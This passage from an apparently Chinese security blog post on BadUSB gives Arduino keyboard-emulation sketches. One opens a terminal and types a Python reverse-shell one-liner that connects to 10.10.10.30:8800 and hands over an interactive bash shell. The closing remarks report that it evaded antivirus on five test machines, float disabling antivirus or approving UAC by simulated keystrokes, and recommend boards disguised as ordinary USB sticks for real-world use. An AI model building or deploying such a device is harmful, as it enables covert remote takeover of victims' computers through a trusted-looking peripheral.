23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf"><Keyboard.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// put your setup code here, to run once:</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">2000</span><span class="p">);</span>
<span class="cm">/*
Keyboard.press(KEY_LEFT_CTRL);
delay(500);
Keyboard.press(KEY_LEFT_ALT);
delay(500);
Keyboard.press('T');
delay(500);
Keyboard.release('T');
*/</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_LEFT_GUI</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_LEFT_GUI</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">println</span><span class="p">(</span><span class="s">"term"</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">println</span><span class="p">(</span><span class="s">"echo hacked"</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">loop</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// put your main code here, to run repeatedly:</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="ubuntu反弹shell">ubuntu反弹shell</h2>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf"><Keyboard.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// put your setup code here, to run once:</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">2000</span><span class="p">);</span>
<span class="cm">/*
Keyboard.press(KEY_LEFT_CTRL);
delay(500);
Keyboard.press(KEY_LEFT_ALT);
delay(500);
Keyboard.press('T');
delay(500);
Keyboard.release('T');
*/</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_LEFT_GUI</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_LEFT_GUI</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">println</span><span class="p">(</span><span class="s">"term"</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">println</span><span class="p">(</span><span class="s">"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((</span><span class="se">\"</span><span class="s">10.10.10.30</span><span class="se">\"</span><span class="s">,8800));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([</span><span class="se">\"</span><span class="s">/bin/bash</span><span class="se">\"</span><span class="s">,</span><span class="se">\"</span><span class="s">-i</span><span class="se">\"</span><span class="s">]);'</span><span class="err">
</span><span class="s">"</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">loop</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// put your main code here, to run repeatedly:</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="跋">跋</h1>
<p>代码异常简单,执行过程也毫不隐蔽,难点在于如何把做好的板子插到目标设备上 :)</p>
<p>模拟的键盘设备,试过了5台电脑,其中三台win10有杀软,两台ubuntu,全部正常运行,没有遇到拦截的情况。</p>
<p>如果有恶意命令,可能会被拦截,似乎火绒会拦截命令行创建用户的命令</p>
<p>板子模拟键盘操作关掉杀软也是可以的 :) 然而暂时没想到如何用键盘快捷键关掉杀软。在执行过程中模拟点击允许该程序执行、同意UAC可能也是可以的。</p>
<p>淘宝上这款板子有的是带壳子的,外观就是一个普通的优盘。如果实战使用的话可能更好。</p>
<p>Les1ie</p>
<p>2019年8月7日09:35:43</p>
Tue, 06 Aug 2019 12:46:25 +0000
https://iansmith123.github.io/2019/08/06/badusb/
https://iansmith123.github.io/2019/08/06/badusb/
websecurity
badusb